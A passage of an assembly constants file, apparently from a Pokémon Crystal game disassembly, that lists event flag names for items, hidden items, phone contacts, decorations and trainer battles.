EVENT_GOT_BLACKBELT_FROM_WESLEY const EVENT_MET_SANTOS_OF_SATURDAY const EVENT_GOT_SPELL_TAG_FROM_SANTOS const EVENT_MET_MONICA_OF_MONDAY const EVENT_GOT_SHARP_BEAK_FROM_MONICA ; 070 const EVENT_GOT_SOFT_SAND_FROM_KATE const EVENT_GOT_METAL_COAT_FROM_GRANDPA_ON_SS_AQUA const EVENT_GOT_BLACKGLASSES_IN_DARK_CAVE const EVENT_GOT_KINGS_ROCK_IN_SLOWPOKE_WELL const EVENT_GOT_TM47_STEEL_WING const EVENT_GOT_TM37_SANDSTORM const EVENT_FIRST_TIME_BANKING_WITH_MOM const EVENT_TOLD_ELM_ABOUT_TOGEPI_OVER_THE_PHONE const EVENT_GOT_CLEAR_BELL const EVENT_GOT_SILVER_WING const EVENT_GOT_TM12_SWEET_SCENT const EVENT_RELEASED_THE_BEASTS const EVENT_GOT_MASTER_BALL_FROM_ELM ; Johto hidden items const EVENT_TIN_TOWER_4F_HIDDEN_MAX_POTION const EVENT_TIN_TOWER_5F_HIDDEN_FULL_RESTORE const EVENT_TIN_TOWER_5F_HIDDEN_CARBOS const EVENT_BURNED_TOWER_1F_HIDDEN_ETHER ; 080 const EVENT_081 const EVENT_082 const EVENT_083 const EVENT_NATIONAL_PARK_HIDDEN_FULL_HEAL const EVENT_OLIVINE_LIGHTHOUSE_5F_HIDDEN_HYPER_POTION const EVENT_TEAM_ROCKET_BASE_B1F_HIDDEN_REVIVE const EVENT_TEAM_ROCKET_BASE_B2F_HIDDEN_FULL_HEAL const EVENT_ILEX_FOREST_HIDDEN_ETHER const EVENT_ILEX_FOREST_HIDDEN_SUPER_POTION const EVENT_ILEX_FOREST_HIDDEN_FULL_HEAL const EVENT_GOLDENROD_UNDERGROUND_HIDDEN_PARLYZ_HEAL const EVENT_GOLDENROD_UNDERGROUND_HIDDEN_SUPER_POTION const EVENT_GOLDENROD_UNDERGROUND_HIDDEN_ANTIDOTE const EVENT_GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES_HIDDEN_MAX_POTION const EVENT_GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES_HIDDEN_REVIVE const EVENT_MOUNT_MORTAR_1F_OUTSIDE_HIDDEN_HYPER_POTION const EVENT_MOUNT_MORTAR_1F_INSIDE_HIDDEN_MAX_REPEL const EVENT_MOUNT_MORTAR_2F_INSIDE_HIDDEN_FULL_RESTORE const EVENT_MOUNT_MORTAR_B1F_HIDDEN_MAX_REVIVE const EVENT_ICE_PATH_B1F_HIDDEN_MAX_POTION const EVENT_ICE_PATH_B2F_MAHOGANY_SIDE_HIDDEN_CARBOS const EVENT_ICE_PATH_B2F_BLACKTHORN_SIDE_HIDDEN_ICE_HEAL const EVENT_WHIRL_ISLAND_B1F_HIDDEN_RARE_CANDY const EVENT_WHIRL_ISLAND_B1F_HIDDEN_ULTRA_BALL const EVENT_WHIRL_ISLAND_B1F_HIDDEN_FULL_RESTORE const EVENT_SILVER_CAVE_ROOM_1_HIDDEN_DIRE_HIT const EVENT_SILVER_CAVE_ROOM_1_HIDDEN_ULTRA_BALL const EVENT_SILVER_CAVE_ROOM_2_HIDDEN_MAX_POTION const EVENT_DARK_CAVE_VIOLET_ENTRANCE_HIDDEN_ELIXER const EVENT_VICTORY_ROAD_HIDDEN_MAX_POTION const EVENT_VICTORY_ROAD_HIDDEN_FULL_HEAL const EVENT_DRAGONS_DEN_B1F_HIDDEN_REVIVE const EVENT_DRAGONS_DEN_B1F_HIDDEN_MAX_POTION const EVENT_DRAGONS_DEN_B1F_HIDDEN_MAX_ELIXER const EVENT_ROUTE_28_HIDDEN_RARE_CANDY const EVENT_ROUTE_30_HIDDEN_POTION const EVENT_ROUTE_32_HIDDEN_GREAT_BALL const EVENT_ROUTE_32_HIDDEN_SUPER_POTION const EVENT_ROUTE_34_HIDDEN_RARE_CANDY const EVENT_ROUTE_34_HIDDEN_SUPER_POTION const EVENT_ROUTE_37_HIDDEN_ETHER const EVENT_ROUTE_39_HIDDEN_NUGGET const EVENT_ROUTE_40_HIDDEN_HYPER_POTION const EVENT_ROUTE_41_HIDDEN_MAX_ETHER const EVENT_ROUTE_42_HIDDEN_MAX_POTION const EVENT_ROUTE_44_HIDDEN_ELIXER const EVENT_ROUTE_45_HIDDEN_PP_UP const EVENT_VIOLET_CITY_HIDDEN_HYPER_POTION const EVENT_AZALEA_TOWN_HIDDEN_FULL_HEAL const EVENT_CIANWOOD_CITY_HIDDEN_REVIVE const EVENT_CIANWOOD_CITY_HIDDEN_MAX_ETHER const EVENT_ECRUTEAK_CITY_HIDDEN_HYPER_POTION const EVENT_LAKE_OF_RAGE_HIDDEN_FULL_RESTORE const EVENT_LAKE_OF_RAGE_HIDDEN_RARE_CANDY const EVENT_LAKE_OF_RAGE_HIDDEN_MAX_POTION const EVENT_SILVER_CAVE_OUTSIDE_HIDDEN_FULL_RESTORE ; Crystal-exclusive events in Johto const EVENT_MET_FLORIA const EVENT_TALKED_TO_FLORIA_AT_FLOWER_SHOP const EVENT_BUGGING_KURT_TOO_MUCH const EVENT_TALKED_TO_RUINS_COWARD const EVENT_GOT_DRATINI const EVENT_CAN_GIVE_GS_BALL_TO_KURT const EVENT_GAVE_GS_BALL_TO_KURT const EVENT_FOREST_IS_RESTLESS const EVENT_ANSWERED_DRAGON_MASTER_QUIZ_WRONG const EVENT_0C2 const EVENT_0C3 const EVENT_0C4 const EVENT_0C5 const EVENT_0C6 const EVENT_0C7 ; Kanto story events const EVENT_GOT_NUGGET_FROM_GUY const EVENT_RETURNED_MACHINE_PART const EVENT_MET_MANAGER_AT_POWER_PLANT const EVENT_MET_ROCKET_GRUNT_AT_CERULEAN_GYM const EVENT_MET_REDS_MOM const EVENT_RESTORED_POWER_TO_KANTO const EVENT_GOT_COINS_FROM_GAMBLER_AT_CELADON const EVENT_MET_COPYCAT_FOUND_OUT_ABOUT_LOST_ITEM const EVENT_RETURNED_LOST_ITEM_TO_COPYCAT const EVENT_GOT_PASS_FROM_COPYCAT const EVENT_GOT_LOST_ITEM_FROM_FAN_CLUB const EVENT_LISTENED_TO_FAN_CLUB_PRESIDENT_BUT_BAG_WAS_FULL const EVENT_LISTENED_TO_FAN_CLUB_PRESIDENT const EVENT_TALKED_TO_SEAFOAM_GYM_GUY_ONCE const EVENT_ENABLE_DIPLOMA_PRINTING const EVENT_CINNABAR_ROCKS_CLEARED const EVENT_CLEARED_NUGGET_BRIDGE const EVENT_TALKED_TO_WARDENS_GRANDDAUGHTER const EVENT_GOT_TM03_CURSE const EVENT_GOT_CLEANSE_TAG const EVENT_GOT_TM19_GIGA_DRAIN const EVENT_GOT_TM06_TOXIC const EVENT_GOT_UP_GRADE const EVENT_GOT_TM07_ZAP_CANNON const EVENT_GOT_TM42_DREAM_EATER const EVENT_TALKED_TO_OAK_IN_KANTO const EVENT_GOT_HP_UP_FROM_VERMILION_GUY const EVENT_GOT_TM29_PSYCHIC ; Kanto hidden items const EVENT_DIGLETTS_CAVE_HIDDEN_MAX_REVIVE const EVENT_UNDERGROUND_PATH_HIDDEN_FULL_RESTORE const EVENT_UNDERGROUND_PATH_HIDDEN_X_SPECIAL const EVENT_ROCK_TUNNEL_1F_HIDDEN_X_ACCURACY const EVENT_ROCK_TUNNEL_1F_HIDDEN_X_DEFEND const EVENT_ROCK_TUNNEL_B1F_HIDDEN_MAX_POTION const EVENT_OLIVINE_PORT_HIDDEN_PROTEIN const EVENT_VERMILION_PORT_HIDDEN_IRON const EVENT_MOUNT_MOON_SQUARE_HIDDEN_MOON_STONE const EVENT_ROUTE_2_HIDDEN_MAX_ETHER const EVENT_ROUTE_2_HIDDEN_FULL_HEAL const EVENT_ROUTE_2_HIDDEN_FULL_RESTORE const EVENT_ROUTE_2_HIDDEN_REVIVE const EVENT_ROUTE_4_HIDDEN_ULTRA_BALL const EVENT_ROUTE_9_HIDDEN_ETHER const EVENT_ROUTE_12_HIDDEN_ELIXER const EVENT_ROUTE_13_HIDDEN_CALCIUM const EVENT_ROUTE_11_HIDDEN_REVIVE const EVENT_ROUTE_17_HIDDEN_MAX_ETHER const EVENT_ROUTE_17_HIDDEN_MAX_ELIXER const EVENT_ROUTE_25_HIDDEN_POTION const EVENT_FOUND_LEFTOVERS_IN_CELADON_CAFE const EVENT_MOUNT_MOON_B2F_NUGGET const EVENT_FOUND_MACHINE_PART_IN_CERULEAN_GYM const EVENT_VERMILION_CITY_HIDDEN_FULL_HEAL const EVENT_CELADON_CITY_HIDDEN_PP_UP const EVENT_CINNABAR_ISLAND_HIDDEN_RARE_CANDY const EVENT_BURNED_TOWER_1F_HIDDEN_ULTRA_BALL const EVENT_GINA_GAVE_LEAF_STONE const EVENT_ALAN_GAVE_FIRE_STONE const EVENT_DANA_GAVE_THUNDERSTONE const EVENT_TULLY_GAVE_WATER_STONE const EVENT_TIFFANY_GAVE_PINK_BOW ; ??? const EVENT_105 const EVENT_106 const EVENT_107 const EVENT_108 const EVENT_109 const EVENT_10A const EVENT_10B const EVENT_10C const EVENT_10D const EVENT_10E const EVENT_10F const EVENT_110 const EVENT_111 const EVENT_112 const EVENT_113 const EVENT_114 const EVENT_115 const EVENT_116 const EVENT_117 const EVENT_118 const EVENT_119 const EVENT_11A const EVENT_11B const EVENT_11C const EVENT_11D const EVENT_11E const EVENT_11F const EVENT_120 const EVENT_121 const EVENT_122 const EVENT_123 const EVENT_124 const EVENT_125 const EVENT_126 const EVENT_127 const EVENT_128 const EVENT_129 const EVENT_12A const EVENT_12B const EVENT_12C const EVENT_12D const EVENT_12E const EVENT_12F const EVENT_130 const EVENT_131 const EVENT_132 const EVENT_133 const EVENT_134 const EVENT_135 const EVENT_136 const EVENT_137 const EVENT_138 const EVENT_139 const EVENT_13A const EVENT_13B const EVENT_13C const EVENT_13D const EVENT_13E const EVENT_13F const EVENT_140 const EVENT_141 const EVENT_142 const EVENT_143 const EVENT_144 const EVENT_145 const EVENT_146 const EVENT_147 const EVENT_148 const EVENT_149 const EVENT_14A const EVENT_14B const EVENT_14C const EVENT_14D const EVENT_14E const EVENT_14F const EVENT_150 const EVENT_151 const EVENT_152 const EVENT_153 const EVENT_154 const EVENT_155 const EVENT_156 const EVENT_157 const EVENT_158 const EVENT_159 const EVENT_15A const EVENT_15B const EVENT_15C const EVENT_15D const EVENT_15E const EVENT_15F const EVENT_160 const EVENT_161 const EVENT_162 const EVENT_163 const EVENT_164 const EVENT_165 const EVENT_166 const EVENT_167 const EVENT_168 const EVENT_169 const EVENT_16A const EVENT_16B const EVENT_16C const EVENT_16D const EVENT_16E const EVENT_16F const EVENT_170 const EVENT_171 const EVENT_172 const EVENT_173 const EVENT_174 const EVENT_175 const EVENT_176 const EVENT_177 const EVENT_178 const EVENT_179 const EVENT_17A const EVENT_17B const EVENT_17C const EVENT_17D const EVENT_17E const EVENT_17F const EVENT_180 const EVENT_181 const EVENT_182 const EVENT_183 const EVENT_184 const EVENT_185 const EVENT_186 const EVENT_187 const EVENT_188 const EVENT_189 const EVENT_18A const EVENT_18B const EVENT_18C const EVENT_18D const EVENT_18E const EVENT_18F const EVENT_190 const EVENT_191 const EVENT_192 const EVENT_193 const EVENT_194 const EVENT_195 const EVENT_196 const EVENT_197 const EVENT_198 const EVENT_199 const EVENT_19A const EVENT_19B const EVENT_19C const EVENT_19D const EVENT_19E const EVENT_19F const EVENT_1A0 const EVENT_1A1 const EVENT_1A2 const EVENT_1A3 const EVENT_1A4 const EVENT_1A5 const EVENT_1A6 const EVENT_1A7 const EVENT_1A8 const EVENT_1A9 const EVENT_1AA const EVENT_1AB const EVENT_1AC const EVENT_1AD const EVENT_1AE const EVENT_1AF const EVENT_1B0 const EVENT_1B1 const EVENT_1B2 const EVENT_1B3 const EVENT_1B4 const EVENT_1B5 const EVENT_1B6 const EVENT_1B7 const EVENT_1B8 const EVENT_1B9 const EVENT_1BA const EVENT_1BB const EVENT_1BC const EVENT_1BD const EVENT_1BE const EVENT_1BF const EVENT_1C0 const EVENT_1C1 const EVENT_1C2 const EVENT_1C3 const EVENT_1C4 const EVENT_1C5 const EVENT_1C6 const EVENT_1C7 const EVENT_1C8 const EVENT_1C9 const EVENT_1CA const EVENT_1CB const EVENT_1CC const EVENT_1CD const EVENT_1CE const EVENT_1CF const EVENT_1D0 const EVENT_1D1 const EVENT_1D2 const EVENT_1D3 const EVENT_1D4 const EVENT_1D5 const EVENT_1D6 const EVENT_1D7 const EVENT_1D8 const EVENT_1D9 const EVENT_1DA const EVENT_1DB const EVENT_1DC const EVENT_1DD const EVENT_1DE const EVENT_1DF const EVENT_1E0 const EVENT_1E1 const EVENT_1E2 const EVENT_1E3 const EVENT_1E4 const EVENT_1E5 const EVENT_1E6 const EVENT_1E7 const EVENT_1E8 const EVENT_1E9 const EVENT_1EA const EVENT_1EB const EVENT_1EC const EVENT_1ED const EVENT_1EE const EVENT_1EF const EVENT_1F0 const EVENT_1F1 const EVENT_1F2 const EVENT_1F3 const EVENT_1F4 const EVENT_1F5 const EVENT_1F6 const EVENT_1F7 const EVENT_1F8 const EVENT_1F9 const EVENT_1FA const EVENT_1FB const EVENT_1FC const EVENT_1FD const EVENT_1FE const EVENT_1FF const EVENT_200 const EVENT_201 const EVENT_202 const EVENT_203 const EVENT_204 const EVENT_205 const EVENT_206 const EVENT_207 const EVENT_208 const EVENT_209 const EVENT_20A const EVENT_20B const EVENT_20C const EVENT_20D const EVENT_20E const EVENT_20F const EVENT_210 const EVENT_211 const EVENT_212 const EVENT_213 const EVENT_214 const EVENT_215 const EVENT_216 const EVENT_217 const EVENT_218 const EVENT_219 const EVENT_21A const EVENT_21B const EVENT_21C const EVENT_21D const EVENT_21E const EVENT_21F const EVENT_220 const EVENT_221 const EVENT_222 const EVENT_223 const EVENT_224 const EVENT_225 const EVENT_226 const EVENT_227 const EVENT_228 const EVENT_229 const EVENT_22A const EVENT_22B const EVENT_22C const EVENT_22D const EVENT_22E const EVENT_22F const EVENT_230 const EVENT_231 const EVENT_232 const EVENT_233 const EVENT_234 const EVENT_235 const EVENT_236 const EVENT_237 const EVENT_238 const EVENT_239 const EVENT_23A const EVENT_23B const EVENT_23C const EVENT_23D const EVENT_23E const EVENT_23F const EVENT_240 const EVENT_241 const EVENT_242 const EVENT_243 const EVENT_244 const EVENT_245 const EVENT_246 const EVENT_247 const EVENT_248 const EVENT_249 const EVENT_24A const EVENT_24B const EVENT_24C const EVENT_24D const EVENT_24E const EVENT_24F const EVENT_250 const EVENT_251 const EVENT_252 const EVENT_253 const EVENT_254 const EVENT_255 const EVENT_256 const EVENT_257 ; Kurt Apricorn events const EVENT_GAVE_KURT_RED_APRICORN const EVENT_GAVE_KURT_BLU_APRICORN const EVENT_GAVE_KURT_YLW_APRICORN const EVENT_GAVE_KURT_GRN_APRICORN const EVENT_GAVE_KURT_WHT_APRICORN const EVENT_GAVE_KURT_BLK_APRICORN const EVENT_GAVE_KURT_PNK_APRICORN ; Phone events const EVENT_JACK_ASKED_FOR_PHONE_NUMBER const EVENT_260 const EVENT_BEVERLY_ASKED_FOR_PHONE_NUMBER const EVENT_262 const EVENT_HUEY_ASKED_FOR_PHONE_NUMBER const EVENT_264 const EVENT_GOT_PROTEIN_FROM_HUEY const EVENT_GOT_HP_UP_FROM_JOEY const EVENT_GOT_CARBOS_FROM_VANCE const EVENT_GOT_IRON_FROM_PARRY const EVENT_GOT_CALCIUM_FROM_ERIN const EVENT_KENJI_ON_BREAK const EVENT_GAVEN_ASKED_FOR_PHONE_NUMBER const EVENT_26C const EVENT_BETH_ASKED_FOR_PHONE_NUMBER const EVENT_26E const EVENT_JOSE_ASKED_FOR_PHONE_NUMBER const EVENT_270 const EVENT_REENA_ASKED_FOR_PHONE_NUMBER const EVENT_272 const EVENT_JOEY_ASKED_FOR_PHONE_NUMBER const EVENT_274 const EVENT_WADE_ASKED_FOR_PHONE_NUMBER const EVENT_276 const EVENT_RALPH_ASKED_FOR_PHONE_NUMBER const EVENT_278 const EVENT_LIZ_ASKED_FOR_PHONE_NUMBER const EVENT_27A const EVENT_ANTHONY_ASKED_FOR_PHONE_NUMBER const EVENT_27C const EVENT_TODD_ASKED_FOR_PHONE_NUMBER const EVENT_27E const EVENT_GINA_ASKED_FOR_PHONE_NUMBER const EVENT_280 ; 280 const EVENT_IRWIN_ASKED_FOR_PHONE_NUMBER const EVENT_282 const EVENT_ARNIE_ASKED_FOR_PHONE_NUMBER const EVENT_284 const EVENT_ALAN_ASKED_FOR_PHONE_NUMBER const EVENT_286 const EVENT_287 const EVENT_288 const EVENT_DANA_ASKED_FOR_PHONE_NUMBER const EVENT_28A const EVENT_CHAD_ASKED_FOR_PHONE_NUMBER const EVENT_28C const EVENT_DEREK_ASKED_FOR_PHONE_NUMBER const EVENT_28E const EVENT_TULLY_ASKED_FOR_PHONE_NUMBER const EVENT_290 ; 290 const EVENT_BRENT_ASKED_FOR_PHONE_NUMBER const EVENT_292 const EVENT_TIFFANY_ASKED_FOR_PHONE_NUMBER const EVENT_294 const EVENT_VANCE_ASKED_FOR_PHONE_NUMBER const EVENT_296 const EVENT_WILTON_ASKED_FOR_PHONE_NUMBER const EVENT_298 const EVENT_KENJI_ASKED_FOR_PHONE_NUMBER const EVENT_29A const EVENT_PARRY_ASKED_FOR_PHONE_NUMBER const EVENT_29C const EVENT_ERIN_ASKED_FOR_PHONE_NUMBER const EVENT_BUENA_OFFERED_HER_PHONE_NUMBER_NO_BLUE_CARD const EVENT_29F ; Ruins of Alph puzzles const EVENT_SOLVED_HO_OH_PUZZLE ; 2a0 const EVENT_SOLVED_KABUTO_PUZZLE const EVENT_SOLVED_OMANYTE_PUZZLE const EVENT_SOLVED_AERODACTYL_PUZZLE ; Decorations const EVENT_DECO_BED_1 const EVENT_DECO_BED_2 const EVENT_DECO_BED_3 const EVENT_DECO_BED_4 const EVENT_DECO_CARPET_1 const EVENT_DECO_CARPET_2 const EVENT_DECO_CARPET_3 const EVENT_DECO_CARPET_4 const EVENT_DECO_PLANT_1 const EVENT_DECO_PLANT_2 const EVENT_DECO_PLANT_3 const EVENT_DECO_PLANT_4 const EVENT_DECO_POSTER_1 ; 2b0 const EVENT_DECO_POSTER_2 const EVENT_DECO_POSTER_3 const EVENT_DECO_FAMICOM const EVENT_DECO_SNES const EVENT_DECO_N64 const EVENT_DECO_VIRTUAL_BOY const EVENT_DECO_PIKACHU_DOLL const EVENT_DECO_SURFING_PIKACHU_DOLL const EVENT_DECO_CLEFAIRY_DOLL const EVENT_DECO_JIGGLYPUFF_DOLL const EVENT_DECO_BULBASAUR_DOLL const EVENT_DECO_CHARMANDER_DOLL const EVENT_DECO_SQUIRTLE_DOLL const EVENT_DECO_POLIWAG_DOLL const EVENT_DECO_DIGLETT_DOLL const EVENT_DECO_STARMIE_DOLL ; 2c0 const EVENT_DECO_MAGIKARP_DOLL const EVENT_DECO_ODDISH_DOLL const EVENT_DECO_GENGAR_DOLL const EVENT_DECO_SHELLDER_DOLL const EVENT_DECO_GRIMER_DOLL const EVENT_DECO_VOLTORB_DOLL const EVENT_DECO_WEEDLE_DOLL const EVENT_DECO_UNOWN_DOLL const EVENT_DECO_GEODUDE_DOLL const EVENT_DECO_MACHOP_DOLL const EVENT_DECO_TENTACOOL_DOLL const EVENT_PLAYERS_ROOM_POSTER const EVENT_DECO_GOLD_TROPHY const EVENT_DECO_SILVER_TROPHY const EVENT_DECO_BIG_SNORLAX_DOLL const EVENT_DECO_BIG_ONIX_DOLL ; 2d0 const EVENT_DECO_BIG_LAPRAS_DOLL ; More Johto story events const EVENT_WARPED_FROM_ROUTE_35_NATIONAL_PARK_GATE const EVENT_SWITCH_1 const EVENT_SWITCH_2 const EVENT_SWITCH_3 const EVENT_EMERGENCY_SWITCH const EVENT_SWITCH_4 const EVENT_SWITCH_5 const EVENT_SWITCH_6 const EVENT_SWITCH_7 const EVENT_SWITCH_8 const EVENT_SWITCH_9 const EVENT_SWITCH_10 const EVENT_SWITCH_11 const EVENT_SWITCH_12 const EVENT_SWITCH_13 ; 2e0 const EVENT_SWITCH_14 const EVENT_UNCOVERED_STAIRCASE_IN_MAHOGANY_MART const EVENT_TURNED_OFF_SECURITY_CAMERAS const EVENT_SECURITY_CAMERA_1 const EVENT_SECURITY_CAMERA_2 const EVENT_SECURITY_CAMERA_3 const EVENT_SECURITY_CAMERA_4 const EVENT_SECURITY_CAMERA_5 const EVENT_EXPLODING_TRAP_1 const EVENT_EXPLODING_TRAP_2 const EVENT_EXPLODING_TRAP_3 const EVENT_EXPLODING_TRAP_4 const EVENT_EXPLODING_TRAP_5 const EVENT_EXPLODING_TRAP_6 const EVENT_EXPLODING_TRAP_7 const EVENT_EXPLODING_TRAP_8 ; 2f0 const EVENT_EXPLODING_TRAP_9 const EVENT_EXPLODING_TRAP_10 const EVENT_EXPLODING_TRAP_11 const EVENT_EXPLODING_TRAP_12 const EVENT_EXPLODING_TRAP_13 const EVENT_EXPLODING_TRAP_14 const EVENT_EXPLODING_TRAP_15 const EVENT_EXPLODING_TRAP_16 const EVENT_EXPLODING_TRAP_17 const EVENT_EXPLODING_TRAP_18 const EVENT_EXPLODING_TRAP_19 const EVENT_EXPLODING_TRAP_20 const EVENT_EXPLODING_TRAP_21 const EVENT_EXPLODING_TRAP_22 const EVENT_LEARNED_HAIL_GIOVANNI const EVENT_OPENED_DOOR_TO_ROCKET_HIDEOUT_TRANSMITTER ; 300 const EVENT_LEARNED_SLOWPOKETAIL const EVENT_LEARNED_RATICATE_TAIL const EVENT_OPENED_DOOR_TO_GIOVANNIS_OFFICE const EVENT_GOLDENROD_DEPT_STORE_B1F_LAYOUT_1 const EVENT_GOLDENROD_DEPT_STORE_B1F_LAYOUT_2 const EVENT_GOLDENROD_DEPT_STORE_B1F_LAYOUT_3 const EVENT_GOLDENROD_UNDERGROUND_WAREHOUSE_BLOCKED_OFF const EVENT_LEFT_MONS_WITH_CONTEST_OFFICER const EVENT_WILLS_ROOM_ENTRANCE_CLOSED const EVENT_WILLS_ROOM_EXIT_OPEN const EVENT_KOGAS_ROOM_ENTRANCE_CLOSED const EVENT_KOGAS_ROOM_EXIT_OPEN const EVENT_BRUNOS_ROOM_ENTRANCE_CLOSED const EVENT_BRUNOS_ROOM_EXIT_OPEN const EVENT_KARENS_ROOM_ENTRANCE_CLOSED const EVENT_KARENS_ROOM_EXIT_OPEN ; 310 const EVENT_LANCES_ROOM_ENTRANCE_CLOSED const EVENT_LANCES_ROOM_EXIT_OPEN const EVENT_CONTEST_OFFICER_HAS_SUN_STONE const EVENT_CONTEST_OFFICER_HAS_EVERSTONE const EVENT_CONTEST_OFFICER_HAS_GOLD_BERRY const EVENT_CONTEST_OFFICER_HAS_BERRY const EVENT_FOUGHT_HO_OH const EVENT_FOUGHT_LUGIA const EVENT_BEAT_RIVAL_IN_MT_MOON const EVENT_MET_BILLS_GRANDPA const EVENT_SHOWED_LICKITUNG_TO_BILLS_GRANDPA const EVENT_SHOWED_ODDISH_TO_BILLS_GRANDPA const EVENT_SHOWED_STARYU_TO_BILLS_GRANDPA const EVENT_SHOWED_GROWLITHE_VULPIX_TO_BILLS_GRANDPA const EVENT_SHOWED_PICHU_TO_BILLS_GRANDPA const EVENT_GOT_EVERSTONE_FROM_BILLS_GRANDPA ; 320 const EVENT_GOT_LEAF_STONE_FROM_BILLS_GRANDPA const EVENT_GOT_WATER_STONE_FROM_BILLS_GRANDPA const EVENT_GOT_FIRE_STONE_FROM_BILLS_GRANDPA const EVENT_GOT_THUNDERSTONE_FROM_BILLS_GRANDPA const EVENT_LISTENED_TO_INITIAL_RADIO ; More Crystal-exclusive events in Johto const EVENT_WALL_OPENED_IN_HO_OH_CHAMBER const EVENT_WALL_OPENED_IN_KABUTO_CHAMBER const EVENT_WALL_OPENED_IN_OMANYTE_CHAMBER const EVENT_WALL_OPENED_IN_AERODACTYL_CHAMBER const EVENT_WELCOMED_TO_POKECOM_CENTER const EVENT_WADE_HAS_BERRY const EVENT_WADE_HAS_PSNCUREBERRY const EVENT_WADE_HAS_PRZCUREBERRY const EVENT_WADE_HAS_BITTER_BERRY const EVENT_WILTON_HAS_ULTRA_BALL const EVENT_WILTON_HAS_GREAT_BALL const EVENT_WILTON_HAS_POKE_BALL const EVENT_HOLE_IN_BURNED_TOWER const EVENT_FOUGHT_EUSINE const EVENT_KOJI_ALLOWS_YOU_PASSAGE_TO_TIN_TOWER const EVENT_FOUGHT_SUICUNE const EVENT_GOT_RAINBOW_WING const EVENT_HUEY_PROTEIN const EVENT_JOEY_HP_UP const EVENT_VANCE_CARBOS const EVENT_PARRY_IRON const EVENT_ERIN_CALCIUM const EVENT_BUENA_OFFERED_HER_PHONE_NUMBER const EVENT_MET_BUENA const EVENT_GOT_ODD_EGG const EVENT_33F const EVENT_GOT_GS_BALL_FROM_POKECOM_CENTER ; ??? const EVENT_341 const EVENT_342 const EVENT_343 const EVENT_344 const EVENT_345 const EVENT_346 const EVENT_347 const EVENT_348 const EVENT_349 const EVENT_34A const EVENT_34B const EVENT_34C const EVENT_34D const EVENT_34E const EVENT_34F const EVENT_350 const EVENT_351 const EVENT_352 const EVENT_353 const EVENT_354 const EVENT_355 const EVENT_356 const EVENT_357 const EVENT_358 const EVENT_359 const EVENT_35A const EVENT_35B const EVENT_35C const EVENT_35D const EVENT_35E const EVENT_35F const EVENT_360 const EVENT_361 const EVENT_362 const EVENT_363 const EVENT_364 const EVENT_365 const EVENT_366 const EVENT_367 const EVENT_368 const EVENT_369 const EVENT_36A const EVENT_36B const EVENT_36C const EVENT_36D const EVENT_36E const EVENT_36F const EVENT_370 const EVENT_371 const EVENT_372 const EVENT_373 const EVENT_374 const EVENT_375 const EVENT_376 const EVENT_377 const EVENT_378 const EVENT_379 const EVENT_37A const EVENT_37B const EVENT_37C const EVENT_37D const EVENT_37E const EVENT_37F const EVENT_380 const EVENT_381 const EVENT_382 const EVENT_383 const EVENT_384 const EVENT_385 const EVENT_386 const EVENT_387 const EVENT_388 const EVENT_389 const EVENT_38A const EVENT_38B const EVENT_38C const EVENT_38D const EVENT_38E const EVENT_38F const EVENT_390 const EVENT_391 const EVENT_392 const EVENT_393 const EVENT_394 const EVENT_395 const EVENT_396 const EVENT_397 const EVENT_398 const EVENT_399 const EVENT_39A const EVENT_39B const EVENT_39C const EVENT_39D const EVENT_39E const EVENT_39F const EVENT_3A0 const EVENT_3A1 const EVENT_3A2 const EVENT_3A3 const EVENT_3A4 const EVENT_3A5 const EVENT_3A6 const EVENT_3A7 const EVENT_3A8 const EVENT_3A9 const EVENT_3AA const EVENT_3AB const EVENT_3AC const EVENT_3AD const EVENT_3AE const EVENT_3AF const EVENT_3B0 const EVENT_3B1 const EVENT_3B2 const EVENT_3B3 const EVENT_3B4 const EVENT_3B5 const EVENT_3B6 const EVENT_3B7 const EVENT_3B8 const EVENT_3B9 const EVENT_3BA const EVENT_3BB const EVENT_3BC const EVENT_3BD const EVENT_3BE const EVENT_3BF const EVENT_3C0 const EVENT_3C1 const EVENT_3C2 const EVENT_3C3 const EVENT_3C4 const EVENT_3C5 const EVENT_3C6 const EVENT_3C7 const EVENT_3C8 const EVENT_3C9 const EVENT_3CA const EVENT_3CB const EVENT_3CC const EVENT_3CD const EVENT_3CE const EVENT_3CF const EVENT_3D0 const EVENT_3D1 const EVENT_3D2 const EVENT_3D3 const EVENT_3D4 const EVENT_3D5 const EVENT_3D6 const EVENT_3D7 const EVENT_3D8 const EVENT_3D9 const EVENT_3DA const EVENT_3DB const EVENT_3DC const EVENT_3DD const EVENT_3DE const EVENT_3DF const EVENT_3E0 const EVENT_3E1 const EVENT_3E2 const EVENT_3E3 const EVENT_3E4 const EVENT_3E5 const EVENT_3E6 const EVENT_3E7 ; Trainer flags ; Swimmer F const EVENT_BEAT_SWIMMERF_LOUISE const EVENT_BEAT_SWIMMERF_DIANA const EVENT_BEAT_SWIMMERF_KAYLEE const EVENT_BEAT_SWIMMERF_SUSIE const EVENT_BEAT_SWIMMERF_DENISE const EVENT_BEAT_SWIMMERF_KARA const EVENT_BEAT_SWIMMERF_WENDY const EVENT_BEAT_SWIMMERF_LISA const EVENT_BEAT_SWIMMERF_JILL const EVENT_BEAT_SWIMMERF_MARY const EVENT_BEAT_SWIMMERF_KATIE const EVENT_BEAT_SWIMMERF_DAWN const EVENT_BEAT_SWIMMERF_TARA const EVENT_BEAT_SWIMMERF_NICOLE const EVENT_BEAT_SWIMMERF_LORI const EVENT_BEAT_SWIMMERF_JODY const EVENT_BEAT_SWIMMERF_NIKKI const EVENT_BEAT_SWIMMERF_DIANA2 const EVENT_BEAT_SWIMMERF_BRIANA ; Bird Keeper const EVENT_BEAT_BIRD_KEEPER_ROD const EVENT_BEAT_BIRD_KEEPER_ABE const EVENT_BEAT_BIRD_KEEPER_BRYAN const EVENT_BEAT_BIRD_KEEPER_THEO const EVENT_BEAT_BIRD_KEEPER_TOBY const EVENT_BEAT_BIRD_KEEPER_DENIS const EVENT_BEAT_BIRD_KEEPER_VANCE const EVENT_BEAT_BIRD_KEEPER_HANK const EVENT_BEAT_BIRD_KEEPER_ROY const EVENT_BEAT_BIRD_KEEPER_BORIS const EVENT_BEAT_BIRD_KEEPER_BOB const EVENT_BEAT_BIRD_KEEPER_JOSE const EVENT_BEAT_BIRD_KEEPER_PETER const EVENT_BEAT_BIRD_KEEPER_JOSE2 const EVENT_BEAT_BIRD_KEEPER_PERRY const EVENT_BEAT_BIRD_KEEPER_BRET const EVENT_BEAT_BIRD_KEEPER_JOSE3 const EVENT_BEAT_BIRD_KEEPER_VANCE2 const EVENT_BEAT_BIRD_KEEPER_VANCE3 ; Boarder const EVENT_BEAT_BOARDER_RONALD const 